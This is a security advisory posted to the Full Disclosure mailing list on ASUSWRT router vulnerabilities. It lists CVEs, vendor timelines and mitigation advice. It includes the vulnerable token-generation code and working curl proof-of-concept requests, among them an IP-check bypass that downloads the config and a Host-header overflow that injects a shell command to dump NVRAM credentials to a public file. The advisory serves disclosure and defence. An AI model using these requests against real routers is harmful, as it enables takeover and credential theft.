Message-ID: <1515970062.15696.7.camel@gmail.com>
Date: Sun, 14 Jan 2018 23:47:42 +0100
From: Blazej Adamczyk <blazej.adamczyk@...il.com>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] Multiple vulnerabilities in all versions of ASUS routers

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            ASUSWRT - HTTPD SERVER MULTIPLE VULNERABILITIES


  Blazej Adamczyk | blazej.adamczyk@...il.com | [http://sploit.tech/]
 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━


                      discovery date: 22.08.2017





1 ASUSWRT <= 3.0.0.4.382.18495 >3.0.0.4.376 - multiple vulnerabilities in httpd server
══════════════════════════════════════════════════════════════════════════════════════

  (all versions of AsusWRT at the time of report to vendor, for previous
  376 version see next section)
  1. Highly predictable session tokens

     The session token is generated for an authenticated user using
     stdlib rand function. The token generation code looks as follows:
     ┌────
     │ char *generate_token(void){
     │    int a=0, b=0, c=0, d=0;
     │    //char create_token[32]={0};
     │    memset(gen_token,0,sizeof(gen_token));
     │    srand (time(NULL));   //VULNERABLE
     │    a=rand();
     │    b=rand();
     │    c=rand();
     │    d=rand();
     │    snprintf(gen_token, sizeof(gen_token),"%d%d%d%d", a, b, c, d);
     │    return gen_token;
     │ }
     └────
     The code initializes the random number generator each time a token
     is generated with router epoch time.

     An attacker can guess a token knowing more or less the time the
     administrator has logged in.

     CVE: CVE-2017-15654 Suggested CVSS v3: 8.3
     AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H (Attacker needs administrator
     interaction and a way to overcome administrator IP check - see next
     point)

     Timeline:
     • 17.09.2017 - vendor notified
     • 07.11.2017 - vendor releases a fixed version 3.0.0.4.382.18495

  2. Not sufficient logged user IP validation

     An attacker who knows the session token can walkaround the IP
     verification mechanism by sending requests with a special
     useragent.

     The following PoC will download current router configuration even
     if issued from a different than the logged user IP address:
     ┌────
     │ curl "http://ROUTERADDRESS/s.CFG" -H "Cookie: asus_token=TOKEN" 
     │ -H 'User-Agent: asusrouter-asusrouter-asusrouter-asusrouter'
     └────

     CVE: CVE-2017-15653 Suggested CVSS v3: 8.3
     AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H (Attacker needs the session
     token to execute any action without IP check - see point above)

     Timeline:
     • 17.09.2017 - vendor notified
     • 07.11.2017 - vendor releases a fixed version 3.0.0.4.382.18495
     Note to vendor/mitre: for clarity please assign separate CVE to
     this vulnerability
  3. Password stored in plain text

     Asus routers store password in plain text in NVRAM memory.
     Executing nvram show, or downloading the backup file and decoding
     it allows anyone to read the administrator password.

     Having access to telnet (shell) one can execute:
     ┌────
     │ nvram show
     └────

     For reading password from backup file see the exploit below. CVE:
     CVE-2017-15656

     Timeline:
     • 17.09.2017 - vendor notified
     • 03.01.2018 - vendor stated that the NVRAM will be crypted in
       February this year

  4. Logged-in information disclousure

     An unauthenticated attacker can retrieve information about a
     logged-in session (if and who [IP address] is currently logged in).
     This itself is not a vulnerability but together with the two
     previous it allows for a easy exploit.

     ┌────
     │ curl "http://ROUTERADDRESS/Nologin.asp"
     └────

  Taking all the four together it is easy to gain router access by
  waiting for an administrator login and retrieving the login/password
  using his token. Finally it is possible to download the backup file
  and read the administrator login and password. A ready script is
  attached to this message.

  Suggested CVSS v3 for all three (1-3): 9.6
  AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H


2 ASUSWRT <=3.0.0.4.376.*
═════════════════════════

  This vulnerability affects new Asus routers with not up-to-date
  firmware, as well as some older end-of-life routers (e.g. RT-N65R,
  RT-N65U)
  1. Heap buffer overflow in multiple HTTP headers allows for an
     unauthenticated remote code execution.

     Multiple buffer overflow vulnerabilities in HTTPd server in Asus
     asuswrt version <=3.0.0.4.376.X. All have been fixed in version
     3.0.0.4.378, but this vulnerability was not previously disclosed.
     Some end-of-life routers have this version as the newest so are
     vulnerable at this time. This vulnerability allows for RCE with
     administrator rights when the administrator visits serveral pages.

     For example the "Host:" header is vulnerable and allows to override
     the SystemCmd variable which then allows for RCE when the
     administrator visits serveral pages (for example the network tools
     router tab).

     PoC (after running this script, when the administrator visists one
     of several pages which trigger commands e.g. the network tools tab,
     the script is being run and outputs the contents of nvram to a css
     file which can be retrived without authentication)
     ┌────
     │ curl 'http://routerIP:8080' -H "Host: xxxxxxxxxxxxxx
     │ $(for i in $(seq 1 9700); do echo -n " "; done)
     │ \$(nvram show > /www/user/nvram.css )"
     └────

     CVE: CVE-2017-15655 Suggested CVSS v3: 9.6
     AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H (Administrator needs to login
     and visit certain page at the router website)

     Timeline:
     • 17.09.2017 - vendor notified
     • 18.09.2017 - vendor REFUSED to fix the vulnerability as the
       routers using the vulnerable firmware are already EOL


     ALERT: Users having routers not upgradable from 3.0.0.4.376.* or
     less should CLOSE the http from WAN and should restrict the access
     to management port from LAN as well!


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